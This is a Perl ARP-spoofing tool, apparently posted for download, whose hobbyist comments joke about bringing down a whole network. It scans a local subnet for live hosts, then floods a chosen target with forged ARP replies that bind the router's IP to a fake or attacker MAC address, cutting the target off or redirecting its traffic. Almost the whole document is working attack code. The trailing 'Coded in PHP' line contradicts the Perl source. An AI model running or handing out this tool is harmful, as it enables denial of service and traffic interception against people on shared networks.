1.   #!/usr/bin/perl
2.  
3.   use Net::ARP;
4.  
5.   print "Make sure you set the correct netmask in the file..\nOK?\n";
6.   chomp($bla = <STDIN>);
7.   $netmask = "192.168.1."; #Yes, I'm that fucking lazy.
8.  
9.  
10.  if(!defined($iface))
11.  {
12.  print "Warning: Interface not specified using eth0 as default\n";
13.  $iface = "eth0"; #Only supported on linux and *bsd, no windows support for Net::ARP :( (should teach them to use windows anyways)
14.  }
15.  else
16.  {
17.  print "Using interface: $iface\n";
18.  }
19. 
20. 
21.  print "Scanning macs..\n"; #Going to scan for macs, find hosts that are cached and will respond to our open requests :)
22.  @ips = ();
23.  @macs = ();
24.  @working_ips = ();
25.  #We're gonna redirect stderr for this.. or else it's gonna be ugly.. Go on, see what happens if you remove it..
26.  open STDERR, "/dev/null";
27.  for($x = 0; $x < 256; $x++)
28.  {
29.          $ips[$x] = $netmask . $x;
30.          #print "$ips[$x]\n";
31.          $cur_mac = Net::ARP::arp_lookup($iface, $ips[$x]);
32.          if($cur_mac eq "unknown")
33.          {
34.  #Do nothing with systems that won't respond
35.          }
36.          else
37.          {
38.              $macs[$x] = Net::ARP::arp_lookup($iface, $ips[$x]);
39.  push(@working_ips, $ips[$x]);
40.              print "$ips[$x] : $macs[$x]\n";
41.  #List off all of the IPs we found in our subnet
42.          }
43.  }
44. 
45. 
46.  print "Who do want to target?\n";
47. 
48.  $x = 1;
49.  foreach(@working_ips)
50.  {
51.  print "$x : $_\n";
52.  $x++;
53.  }
54.  print "1337 : Send to ALL [need to implement..]\n"; #Yeah.. Bring down the whole network
55.  chomp($input = <STDIN>);
56.  $target_ip = $ips[$input];
57.  $target_mac = $macs[$input];
58.  print "Target: $target_ip : $target_mac\n";
59. 
60.  print "What is the router IP? "; #Doesn't have to be the router IP, can be anything you don't want the other computer to see,
61.   #However for a true "DoS" from the whole network this will make it so it cannot access the outside world.
62.  chomp($source_ip = <STDIN>);
63. 
64. 
65. 
66.  print "Do you want to:\n[1] Supply the actual mac [to the router]\n[2] Supply this computer\'s mac [as the routers, NEEDS WORK]\n[3] Supply a fake mac [DoS]\n\n";
67.  chomp($option = <STDIN>);
68.  {
69.  ####NOTE:###
70.  #CTRL+C only works on the DoS option!!!!
71.  if($option eq "1") #Sorry, I'm pretty damn lazy.
72.  {
73.  print "Looking up $source_ip\'s MAC...";
74.  $source_mac = Net::ARP::arp_lookup($iface, $source_ip);
75.  if($source_mac eq "unknown")
76.  {
77.  print "Error finding $source_ip\'s mac..\n";
78.  exit;
79.  }
80.  }
81.  if($option eq "2") #Don't use this, it's pretty bad... Doesn't really do anything..
82.  {
83.  print "Looking up this computer\'s MAC...";
84.  $source_mac = Net::ARP::get_mac($iface);
85.  if($source_mac eq "unknown")
86.  {
87.  print "Error obtaining system mac?\n";
88.  exit;
89.  }
90.  print "$source_mac\n";
91. 
92.  }
93.  if($option eq "3") #DoS
94.  {
95.  $source_mac = "aa:bb:cc:dd:ee:ff"; #I was thinking about coding a random mac generator, but honestly, what are the chances?
96.  my $actual_mac = Net::ARP::arp_lookup($iface, $source_ip);
97.  print "Using fake mac $source_mac\n";
98.  print "[Actual mac: $actual_mac]\n"; #We have to find the actual mac so we can restore the system later!
99.  }
100. }
101.
102.
103.
104. print "Starting to send packets..\n";
105. $x = 0;
106.
107. while(1)
108. {
109. $x++;
110. $return = Net::ARP::send_packet($iface,
111.       $source_ip,
112.       $target_ip,
113.       $source_mac,
114.       $target_mac,
115.       'reply');
116. print "$iface: $source_mac [$source_ip] -> $target_mac [$target_ip] [$x]\n"; #Sorry for taking up all your SSH bandwith
117. #print "DEBUG: returned: $return\n"; #Doesn't do anything.. Just returns 1 or 0..
118. if($option eq "3")
119. {
120. #my $actual_mac = Net::ARP::arp_lookup($iface, $source_ip);
121. my $source_ip = $source_ip; #Make vars global so the sub can access them (I think this is how you do it?)
122. my $target_ip = $target_ip;
123. my $target_mac = $target_mac;
124. #$SIG{INT} = \&interrupt;
125. $SIG{INT} = \&set_back_to_normal; #See how much trouble I had figuring this out?!
126. sleep 1;
127. #$SIG{INT} = \&set_back_to_normal($source_ip, $actual_mac, $target_ip, $target_mac);
128. }
129. else
130. {
131. sleep 1;
132. }
133. #print "\r";
134. }
135.
136.
137. sub set_back_to_normal
138. {
139. print "Caught CTRL+C! Setting everything back to normal!\n";
140. $actual_mac = Net::ARP::arp_lookup($iface, $source_ip);
141. print "Actual mac is: $actual_mac\n";
142. #We need a new method; If you're heavily sending packets you need to have a open connection to the router
143. #But it works most of the time :)
144.
145. $return = Net::ARP::send_packet($iface,
146. $source_ip,
147. $target_ip,
148. $actual_mac,
149. $target_mac,
150. 'reply');
151. print "$iface: $actual_mac [$source_ip] -> $target_mac [$target_ip]\n"; #Sends back the router's actual MAC to the target
152. #Everything should be back to normal now! YAYYYY!
153. exit;
154. }

Download the File By Clicking HERE

Coded in PHP